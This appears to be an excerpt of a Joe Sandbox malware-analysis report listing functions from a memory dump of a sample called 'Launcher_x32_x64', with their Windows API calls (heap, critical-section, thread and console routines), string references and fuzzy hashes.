Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 2a9e05617462589fd0ddafdd2d111ab80ca9e8b23c71adc22affe98e552ca713
Instruction ID: de6ce5a67d7b2beab48043cc6d0ad2ea02bdc08bb63bae0eb591e661a44d42b4
Opcode Fuzzy Hash: 2a9e05617462589fd0ddafdd2d111ab80ca9e8b23c71adc22affe98e552ca713
Instruction Fuzzy Hash: 5CD1A57190412A9BDF39CF28DC95FEAB7B8AF18304F0441E9D949A7241E770AE94CF94

Function 0101D240 Relevance: 7.7, APIs: 5, Instructions: 243COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,95E4D7D1,?,?,?), ref: 0101D291
InitializeCriticalSection.KERNEL32(?), ref: 0101D2F3
LeaveCriticalSection.KERNEL32(00000014,?), ref: 0101D546
DeleteCriticalSection.KERNEL32(?,?), ref: 0101D5D8
DeleteCriticalSection.KERNEL32(?,?), ref: 0101D62A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalSection$DeleteInitialize$Leave
String ID:
API String ID: 799923742-0
Opcode ID: 38beddc74b1d9b3c3d3fc9a68c495e48c3a28759751515c70500a887ff9f58fc
Instruction ID: 6c8d4aa7826e7bab3abf9d35642ea235253b2511074517d3aa7f60093ca52539
Opcode Fuzzy Hash: 38beddc74b1d9b3c3d3fc9a68c495e48c3a28759751515c70500a887ff9f58fc
Instruction Fuzzy Hash: FFC16CB09002688FDB60CF58C88879EBBF4BF44318F1445DCD649A7296DB79AE88CF55

Function 00F46710 Relevance: 7.7, APIs: 5, Instructions: 229memoryCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,95E4D7D1,00000000,00000000,00000000,00000000,01326F50,000000FF,?,00FA8221,00000000,00000000,00000001,01147EF7,95E4D7D1,?), ref: 00F46883
HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,00000000,00000000,00000000,01326F50,000000FF,?,00FA8221,00000000,00000000,00000001,01147EF7,95E4D7D1), ref: 00F4691B
HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,00000000,00000000,00000000,01326F50,000000FF,?,00FA8221,00000000,00000000,00000001,01147EF7,95E4D7D1), ref: 00F46936
HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,00000000,00000000,00000000,01326F50,000000FF,?,00FA8221,00000000,00000000,00000001,01147EF7,95E4D7D1), ref: 00F46951
HeapFree.KERNEL32(00000000,00000000,95E4D7D1,00000000,00000000,00000000,00000000,01326F50,000000FF,?,00FA8221,00000000,00000000,00000001,01147EF7,95E4D7D1), ref: 00F4698E

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Free$Heap$Library
String ID:
API String ID: 912051049-0
Opcode ID: 18dbe613299fbe0c5cdfcb0b881843d150bdedcfb22b4231e51e7c978ea94212
Instruction ID: bc3372d0cb612772f5a923805e87bb79c56917b792cd486ff39285790a85b22b
Opcode Fuzzy Hash: 18dbe613299fbe0c5cdfcb0b881843d150bdedcfb22b4231e51e7c978ea94212
Instruction Fuzzy Hash: 73914F74B00711AFDB28DF25E8A8B297BA8FF09715F14816CE805DB7A4CB75AC14CB91

Function 011302E0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 220memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01130451
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113048F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113054F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113056B

Strings

NULL, xrefs: 01130339, 011303DB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: c6b766db7c14032524db60c98143c519d0d241dc21d1a6878031ab5c6baefc0b
Instruction ID: 45e4528a170e597af42c9fa8f085fb5b8a0cc577ab580e1e40765f01b89a2b70
Opcode Fuzzy Hash: c6b766db7c14032524db60c98143c519d0d241dc21d1a6878031ab5c6baefc0b
Instruction Fuzzy Hash: 3081B471E002189FEF28CFA8D894BAEB7F9BF49304F144169E909E7295DB719944CF90

Function 011392F0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 216memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01139461
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113949F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01139555
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01139571

Strings

NULL, xrefs: 01139345, 011393EB

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: b1f109295f18be3f86934ad5970e91f4e29fd36af93dccbeb41e761549cdce37
Instruction ID: ffb5cc5298b373ecce36f620b166187569604d34dc263f9ab9e03a979bbf3856
Opcode Fuzzy Hash: b1f109295f18be3f86934ad5970e91f4e29fd36af93dccbeb41e761549cdce37
Instruction Fuzzy Hash: 3F81C871D0021C9BEB34CFB8D895BAEB7B8FF45308F14416AE949A7285DB719944CF90

Function 01139590 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 216memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01139701
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113973F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 011397F5
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01139811

Strings

NULL, xrefs: 011395E5, 0113968B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: 9669c8aaa03c4322501d460e287eaf5ec7d0ddd1fdc3575402f717283f3dc461
Instruction ID: 6c09974a7f06113eea8b501fd317d0fa44a16e9ffe7668be14b5036ae1ae0985
Opcode Fuzzy Hash: 9669c8aaa03c4322501d460e287eaf5ec7d0ddd1fdc3575402f717283f3dc461
Instruction Fuzzy Hash: 5681E671D0021C9BDB25CFA8DC84BEEB7B8FF45308F144169E949A7285DB709944CF90

Function 01130590 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 216memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01130701
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 0113073F
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 011307F5
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,0137F114,0137F114), ref: 01130811

Strings

NULL, xrefs: 011305E5, 0113068B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID: NULL
API String ID: 3298025750-324932091
Opcode ID: b77abf3ef179524f73681a98a83d09d29d38df58c16840ad44953dfc986e9ca7
Instruction ID: f224606f5623649f68f9632376794d235f389eab454dcc9fd3040f30bfca098a
Opcode Fuzzy Hash: b77abf3ef179524f73681a98a83d09d29d38df58c16840ad44953dfc986e9ca7
Instruction Fuzzy Hash: D781E671E002189FDB39CBA8DC84BEEB7B8FF49304F144169E949A7285EB319944CF90

Function 00F44040 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 00F44174
HeapFree.KERNEL32(00000000,?), ref: 00F441A7

Part of subcall function 00E3F800: wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,?,?,00000004,00000000,95E4D7D1,00000000,?), ref: 00E3F88C

Part of subcall function 00F06BE0: HeapFree.KERNEL32(00000000,?,?,?,ILStubClass,95E4D7D1,?,?), ref: 00F06C77
Part of subcall function 00F06BE0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(0140E888), ref: 00F06CF5

HeapFree.KERNEL32(00000000,?), ref: 00F44228

Part of subcall function 01094940: HeapFree.KERNEL32(00000000,00000002,?,?), ref: 01094A56

Part of subcall function 00F073E0: GetConsoleOutputCP.KERNEL32(00000000,?,000000FF,00000000,?,00000000,00000000,95E4D7D1,00000000,?,?), ref: 00F07511
Part of subcall function 00F073E0: WideCharToMultiByte.KERNEL32(00000000), ref: 00F07518
Part of subcall function 00F073E0: HeapFree.KERNEL32(00000000,?), ref: 00F07556

Part of subcall function 00F07380: GetStdHandle.KERNEL32(000000F4,00000000,?), ref: 00F0738C
Part of subcall function 00F07380: strlen.API-MS-WIN-CRT-STRING-L1-1-0(Fatal error. ), ref: 00F07396
Part of subcall function 00F07380: WriteFile.KERNEL32(?,Fatal error. ,00007FFF,?,00000000,00000000), ref: 00F073C5

Strings

--------------------------------, xrefs: 00F440FA, 00F44180
Repeat %d times:, xrefs: 00F440DC

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$strlen$ByteCharConsoleFileHandleMultiOutputWideWritewcscpy_s
String ID: --------------------------------$Repeat %d times:
API String ID: 3147432761-2686560479
Opcode ID: 3141ab0b978114d27d599a7e632eb5c97465fe68cdd363813dae3361795da734
Instruction ID: f7aed168f6a889263192b4ad889cc800c6ce831c2aac465e01c71454c35716f6
Opcode Fuzzy Hash: 3141ab0b978114d27d599a7e632eb5c97465fe68cdd363813dae3361795da734
Instruction Fuzzy Hash: 7D518A70D00208EFDB15EFA4D999B9EBFB4FF14310F104159E841AB2E0DB74A949EB90

Function 00F073E0 Relevance: 7.6, APIs: 5, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,?,?), ref: 00F0749C
HeapFree.KERNEL32(00000000,?,95E4D7D1,00000000,?,?), ref: 00F074DA
GetConsoleOutputCP.KERNEL32(00000000,?,000000FF,00000000,?,00000000,00000000,95E4D7D1,00000000,?,?), ref: 00F07511
WideCharToMultiByte.KERNEL32(00000000), ref: 00F07518
HeapFree.KERNEL32(00000000,?), ref: 00F07556

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap$ByteCharConsoleMultiOutputWide
String ID:
API String ID: 1200818624-0
Opcode ID: 2353259ecad2f27167ae1d8c4fdd370e9c521948cd43609501520e88cf2a911e
Instruction ID: 038c0bab36e8dc553f573b52fc80f187df4cbeb8b3b45b71ac1c9a0d3c049861
Opcode Fuzzy Hash: 2353259ecad2f27167ae1d8c4fdd370e9c521948cd43609501520e88cf2a911e
Instruction Fuzzy Hash: 5C517074E44318DBEB20EF64DC88BAAB6B8FB44750F5442D9E519A72D0D7786E40AF80

Function 00FA6030 Relevance: 7.6, APIs: 5, Instructions: 135threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,00FA5E60,00000000,00000000,00000000), ref: 00FA60B3
GetLastError.KERNEL32 ref: 00FA60DB
LeaveCriticalSection.KERNEL32(00000000), ref: 00FA6116
CloseHandle.KERNEL32(00000000), ref: 00FA617E
LeaveCriticalSection.KERNEL32(00000000,95E4D7D1,00000000,?,00000000), ref: 00FA619C

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection$CloseCreateErrorHandleLastThread
String ID:
API String ID: 4096589887-0
Opcode ID: 0bbcaf6053d46aec9d1cfa6d6848d78247a187041e76e32cc9528cb6309436e8
Instruction ID: e6dccb1846f6834ce1b15e4ef46145b1d4777fdd5693077a4fa0bc78aadeada6
Opcode Fuzzy Hash: 0bbcaf6053d46aec9d1cfa6d6848d78247a187041e76e32cc9528cb6309436e8
Instruction Fuzzy Hash: 0751E1B1E01215DFDB20CF69D8487AEBBF8FB06B64F18421AD824E3291D375A901DBD0

Function 01149900 Relevance: 7.6, APIs: 6, Instructions: 130memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,01149C49,000000FF,00000000,00000000,00000000,00000000,00000000), ref: 01149938
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 01149948
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,01149C49,000000FF,00000000,00000000), ref: 01149963
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 01149972
HeapFree.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 01149A25
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,00000000), ref: 01149A33

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: ByteCharMultiWidefree$FreeHeapmalloc
String ID:
API String ID: 3875093398-0
Opcode ID: edc0ab86f724623c8d10ab8a43b93e5c773f6876dc6c2fe0218d775d82cdeab2
Instruction ID: 7eedef30020d43842dc9ca96693551fc4dac8a0b56b78d40c9e1caf2cc0ae2ae
Opcode Fuzzy Hash: edc0ab86f724623c8d10ab8a43b93e5c773f6876dc6c2fe0218d775d82cdeab2
Instruction Fuzzy Hash: 4241B571D0021AABDF14DFA9D854AFFBBB8FF48B08F144129E915B7254EB309904CBA0

Function 0113E3F0 Relevance: 7.6, APIs: 5, Instructions: 125memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,03A873C8,?,00000000,?,01147017), ref: 0113E405
HeapAlloc.KERNEL32(03A20000,00000000,00000120,?,03A873C8,?,00000000,?,01147017), ref: 0113E420
GetCurrentThreadId.KERNEL32 ref: 0113E46B
GetProcessHeap.KERNEL32 ref: 0113E4C0
HeapAlloc.KERNEL32(03A20000,00000000,00000004), ref: 0113E4DD

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: Heap$AllocProcess$CurrentThread
String ID:
API String ID: 1689990691-0
Opcode ID: c0b1dd4db078dfa9ee4d0734a4aa4b0a9fd1537881ce816c0c87e8321d4e9d75
Instruction ID: 27ff2f8d8272c2f47fc365832fd6158cb0824a23e213ca7dfaf7f38131b902f8
Opcode Fuzzy Hash: c0b1dd4db078dfa9ee4d0734a4aa4b0a9fd1537881ce816c0c87e8321d4e9d75
Instruction Fuzzy Hash: 704126317413119BEB3A9B7CE8C9B967794EF89720F140524EA59E73C9EBB498008B91

Function 01096370 Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000003,00000000,?,?,?,?,?,01096557,?,?,95E4D7D1,?,?), ref: 010963F4
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 01096424
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0109642F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0109643A
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 01096445

Part of subcall function 00F071F0: __stdio_common_vsnprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,00000000,?,?,0109641D,000000FF,?,?,?,?,?), ref: 00F0720D

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
